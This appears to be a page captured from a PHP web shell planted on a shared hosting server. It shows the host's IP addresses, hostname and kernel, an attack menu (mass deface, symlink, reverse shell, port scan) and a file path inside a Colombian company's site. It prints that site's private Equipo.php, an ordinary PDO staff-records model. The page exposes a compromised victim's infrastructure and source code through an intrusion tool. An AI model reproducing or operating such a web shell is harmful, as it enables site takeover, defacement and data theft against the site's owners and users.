Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
soy4
/
admin
/
models
/
Viewing: Equipo.php
<?php class Equipo { private const TABLE = 'gral_equipo'; private static function baseSelect(): string { return 'SELECT e.*, ' . 'u.nombre_usuario, u.email, u.foto, u.rol AS usuario_rol, u.estado AS usuario_estado ' . 'FROM `' . self::TABLE . '` e ' . 'INNER JOIN `gral_usuarios` u ON u.id = e.usuario_id ' . "WHERE u.rol <> 'cliente'"; } public static function all(): array { $pdo = Database::connection(); $stmt = $pdo->query(self::baseSelect() . ' ORDER BY u.nombre_usuario ASC'); $rows = $stmt->fetchAll() ?: []; if (empty($rows)) { return []; } $ids = array_map(static fn($row) => (int)($row['id'] ?? 0), $rows); $documentsMap = DocumentoEquipo::forEquipoIds($ids); return array_map(static function ($row) use ($documentsMap) { $mapped = self::mapRow($row); $mapped['documentos'] = $documentsMap[$mapped['id']] ?? []; return $mapped; }, $rows); } public static function optionsForSelect(): array { return array_map(static function ($miembro) { return [ 'id' => $miembro['id'], 'nombre' => $miembro['nombre'], ]; }, self::all()); } public static function find(int $id): ?array { $pdo = Database::connection(); $stmt = $pdo->prepare(self::baseSelect() . ' AND e.id = :id LIMIT 1'); $stmt->execute(['id' => $id]); $row = $stmt->fetch(); if (!$row) { return null; } $record = self::mapRow($row); $record['documentos'] = DocumentoEquipo::forEquipoIds([(int)$record['id']])[(int)$record['id']] ?? []; return $record; } public static function create(array $data): int { $pdo = Database::connection(); $columns = [ 'usuario_id', 'area', 'rol_cargo', 'tipo_contrato', 'estado', 'horario', 'ubicacion', 'direccion', 'tipo_documento', 'num_documento', 'jefe_directo', 'telefono_movil', 'extension_oficina', 'fecha_ingreso', 'tipo_salario', 'estimado_mensual', 'permisos_sistema', 'responsabilidades', 'certificaciones', 'acceso_whatsapp', 'observaciones' ]; $placeholders = array_map(fn($col) => ':' . $col, $columns); $sql = 'INSERT INTO `' . self::TABLE . '` (' . implode(', ', $columns) . ') VALUES (' . implode(', ', $placeholders) . ')'; $stmt = $pdo->prepare($sql); $stmt->execute(self::prepareParams($data)); return (int)$pdo->lastInsertId(); } public static function update(int $id, array $data): bool { $pdo = Database::connection(); $columns = [ 'usuario_id', 'area', 'rol_cargo', 'tipo_contrato', 'estado', 'horario', 'ubicacion', 'direccion', 'tipo_documento', 'num_documento', 'jefe_directo', 'telefono_movil', 'extension_oficina', 'fecha_ingreso', 'tipo_salario', 'estimado_mensual', 'permisos_sistema', 'responsabilidades', 'certificaciones', 'acceso_whatsapp', 'observaciones' ]; $setParts = array_map(fn($col) => $col . ' = :' . $col, $columns); $sql = 'UPDATE `' . self::TABLE . '` SET ' . implode(', ', $setParts) . ' WHERE id = :id'; $params = self::prepareParams($data); $params['id'] = $id; $stmt = $pdo->prepare($sql); return $stmt->execute($params); } public static function delete(int $id): bool { $pdo = Database::connection(); $stmt = $pdo->prepare('DELETE FROM `' . self::TABLE . '` WHERE id = :id'); return $stmt->execute(['id' => $id]); } public static function availableUsers(?int $selectedUsuarioId = null): array { return array_map(static function ($user) { return [ 'id' => $user['id'], 'nombre_usuario' => $user['name'] ?? $user['nombre_usuario'] ?? '', 'email' => $user['email'] ?? '', 'foto' => $user['avatar'] ?? $user['foto'] ?? '', 'rol' => $user['role'] ?? 'miembro', 'estado' => $user['status'] ?? 'activo', 'equipo_id' => $user['equipo_id'] ?? null, 'initials' => $user['initials'] ?? '', ]; }, UserOnboardingService::pendingStaff($selectedUsuarioId)); } public static function usuarioHasEquipo(int $usuarioId, ?int $ignoreId = null): bool { $pdo = Database::connection(); $sql = 'SELECT id FROM `' . self::TABLE . '` WHERE usuario_id = :usuario_id'; $params = ['usuario_id' => $usuarioId]; if ($ignoreId !== null) { $sql .= ' AND id <> :ignore'; $params['ignore'] = $ignoreId; } $sql .= ' LIMIT 1'; $stmt = $pdo->prepare($sql); $stmt->execute($params); return (bool)$stmt->fetchColumn(); } private static function prepareParams(array $data): array { $params = [ 'usuario_id' => (int)($data['usuario_id'] ?? 0), 'area' => self::nullable($data['area'] ?? null), 'rol_cargo' => self::nullable($data['rol_cargo'] ?? null), 'tipo_contrato' => $data['tipo_contrato'] ?? 'Empleado', 'estado' => strtolower($data['estado'] ?? 'activo'), 'horario' => self::nullable($data['horario'] ?? null), 'ubicacion' => self::nullable($data['ubicacion'] ?? null), 'direccion' => self::nullable($data['direccion'] ?? null), 'tipo_documento' => $data['tipo_documento'] ?? 'CC', 'num_documento' => self::nullable($data['num_documento'] ?? null), 'jefe_directo' => self::nullable($data['jefe_directo'] ?? null), 'telefono_movil' => self::nullable($data['telefono_movil'] ?? null), 'extension_oficina' => self::nullable($data['extension_oficina'] ?? null), 'fecha_ingreso' => self::nullable($data['fecha_ingreso'] ?? null), 'tipo_salario' => self::nullable($data['tipo_salario'] ?? null), 'estimado_mensual' => self::nullableNumber($data['estimado_mensual'] ?? null), 'permisos_sistema' => self::nullable($data['permisos_sistema'] ?? null), 'responsabilidades' => self::nullable($data['responsabilidades'] ?? null), 'certificaciones' => self::nullable($data['certificaciones'] ?? null), 'acceso_whatsapp' => !empty($data['acceso_whatsapp']) ? 1 : 0, 'observaciones' => self::nullable($data['observaciones'] ?? null), ]; return $params; } private static function nullable(?string $value): ?string { $trimmed = trim((string)$value); return $trimmed === '' ? null : $trimmed; } private static function nullableNumber($value): ?float { if ($value === null || $value === '') { return null; } $normalized = str_replace([',', ' '], ['', ''], (string)$value); return is_numeric($normalized) ? (float)$normalized : null; } private static function mapRow(array $row): array { return [ 'id' => (int)($row['id'] ?? 0), 'usuario_id' => (int)($row['usuario_id'] ?? 0), 'nombre' => $row['nombre_usuario'] ?? '', 'email_corporativo' => $row['email'] ?? '', 'rol_cargo' => $row['rol_cargo'] ?? '', 'rol' => $row['rol_cargo'] ?? '', 'area' => $row['area'] ?? '', 'tipo_contrato' => $row['tipo_contrato'] ?? 'Empleado', 'estado' => strtolower($row['estado'] ?? 'activo'), 'horario' => $row['horario'] ?? null, 'ubicacion' => $row['ubicacion'] ?? null, 'direccion' => $row['direccion'] ?? null, 'tipo_documento' => $row['tipo_documento'] ?? 'CC', 'num_documento' => $row['num_documento'] ?? null, 'jefe_directo' => $row['jefe_directo'] ?? null, 'telefono_movil' => $row['telefono_movil'] ?? null, 'extension_oficina' => $row['extension_oficina'] ?? null, 'fecha_ingreso' => $row['fecha_ingreso'] ?? null, 'tipo_salario' => $row['tipo_salario'] ?? null, 'estimado_mensual' => isset($row['estimado_mensual']) ? (float)$row['estimado_mensual'] : null, 'permisos_sistema' => $row['permisos_sistema'] ?? null, 'responsabilidades' => $row['responsabilidades'] ?? null, 'certificaciones' => $row['certificaciones'] ?? null, 'acceso_whatsapp' => (bool)($row['acceso_whatsapp'] ?? 0), 'observaciones' => $row['observaciones'] ?? null, 'creado_en' => $row['creado_en'] ?? null, 'actualizado_en' => $row['actualizado_en'] ?? null, 'avatar_url' => $row['foto'] ?? '', 'usuario' => [ 'id' => (int)($row['usuario_id'] ?? 0), 'nombre' => $row['nombre_usuario'] ?? '', 'nombre_usuario' => $row['nombre_usuario'] ?? '', 'email' => $row['email'] ?? '', 'foto' => $row['foto'] ?? '', 'rol' => $row['usuario_rol'] ?? '', 'estado' => $row['usuario_estado'] ?? '', ], 'documentos' => [], ]; } public static function findByUsuarioId(int $usuarioId): ?array { $pdo = Database::connection(); $stmt = $pdo->prepare(self::baseSelect() . ' AND e.usuario_id = :usuario_id LIMIT 1'); $stmt->execute(['usuario_id' => $usuarioId]); $row = $stmt->fetch(); if (!$row) { return null; } $record = self::mapRow($row); $record['documentos'] = DocumentoEquipo::forEquipoIds([(int)$record['id']])[(int)$record['id']] ?? []; return $record; } public static function deleteByUsuarioId(int $usuarioId): bool { $pdo = Database::connection(); $stmt = $pdo->prepare('DELETE FROM `' . self::TABLE . '` WHERE usuario_id = :usuario_id'); return $stmt->execute(['usuario_id' => $usuarioId]); } }
Coded With 💗 by
0x6ick